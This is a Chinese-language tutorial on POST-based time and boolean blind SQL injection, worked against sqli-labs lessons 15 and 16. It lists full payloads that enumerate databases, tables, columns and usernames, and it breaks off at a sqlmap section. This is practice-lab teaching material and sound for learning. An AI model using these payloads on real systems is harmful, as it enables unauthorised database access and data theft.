一)POST基于时间与布尔盲注
1)HTTP POST介绍
2)POST基于时间的盲注(less15)
3)POST基于布尔的盲注(less16)
4)sqlmap安全测试
——————————————————————————————————————————————————————
一)POST基于时间与布尔盲注
1)HTTP POST介绍
前面已经有讲解过GET型的基于时间与布尔盲注,也已经讲解过POST型的错误注入(怎么用burpsuite进行抓包注入),本节就是将前面的两者结合起来变成POST基于时间与布尔盲注。
盲注大致流程:
1.判断是否存在注入,注入是字符型还是数字型(方法同显注的union相同)
2.判断字段数(order by)
3.猜解数据库个数
4.猜解指定数据库名称长度
5.猜解指定数据库名称
6.猜解指定数据库中表的个数
7.猜解指定数据库中表名长度
8.猜解指定数据库中表名
9.猜解指定数据库中指定表的字段数
10.猜解指定数据库中指定表的字段长度
11.猜解指定数据库中指定表的字段名
12.猜解指定数据库中指定表的字段内容个数
13.猜解指定数据库中指定表的字段内容长度
14.猜解指定数据库中指定表的字段内容
2)POST基于时间的盲注(less15):
登录Less15:
抓包:
发送到repeater:
a)用 ' and sleep(5)--+
与 and sleep(5)
判断是否存在基于时间的SQL盲注,是字符型还是数字型。
b)猜解数据库个数
' and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+
c)猜解指定数据库名称长度
' and if(length((select schema_name from information_schema.schemata limit 0,1))>1,sleep(5),1) --+
d)猜解指定数据库名称
' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))>1),sleep(5),1) --+
e)猜解指定数据库中表的个数
' and if((select count(table_name) from information_schema.tables where table_schema='security')>1,sleep(5),1) --+
f)猜解指定数据库中表名长度
' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1,sleep(5),1) --+
g)猜解指定数据库中表名
' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1,sleep(5),1) --+
h)猜解指定数据库中指定表的字段数
' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1,sleep(5),1) --+
i)猜解指定数据库中指定表的字段长度
' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=1,sleep(5),1) --+
j)猜解指定数据库中指定表的字段名
' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=1,sleep(5),1) --+
k)猜解指定数据库中指定表的字段内容个数
' and if((select count(username) from users)=1,sleep(5),1 ) --+
l) 猜解指定数据库中指定表的字段内容长度
' and if(length((select username from users limit 0,1))=1,sleep(5),1) --+
m)猜解指定数据库中指定表的字段内容
' and if(ascii(substr((select username from users limit 0,1),1))=1,sleep(5),1) --+
3)POST基于布尔的盲注:
a)用 ' and 1=1--+
与 and 1=2--+
,'and 1=1
与 ' and 1=2
判断是否存在基于时间的SQL盲注,是字符型还是数字型。
结论:字符型的布尔盲注。
b)猜解数据库个数
' and (select count(schema_name) from information_schema.schemata)>1--+
c)猜解指定数据库名称长度
' and length((select schema_name from information_schema.schemata limit 0,1))>1--+
d)猜解指定数据库名称
' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))>1--+
e)猜解指定数据库中表的个数
' and (select count(table_name) from information_schema.tables where table_schema='security')>1--+
f)猜解指定数据库中表名长度
' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1--+
g)猜解指定数据库中表名
' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1--+
h)猜解指定数据库中指定表的字段数
' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')>1--+
i)猜解指定数据库中指定表的字段长度
' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>1--+
j)猜解指定数据库中指定表的字段名
' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))>1--+
k)猜解指定数据库中指定表的字段内容个数
' and (select count(username) from users)>1--+
l) 猜解指定数据库中指定表的字段内容长度
' and length((select username from users limit 0,1))>1--+
m)猜解指定数据库中指定表的字段内容
' and ascii(substr((select username from users limit 0,1),1))>1--+
4)sqlmap安全测试:
在sqlmap目录中创建一个target.txt文件用于存放burpsuite抓获的less15的包:
时间盲注: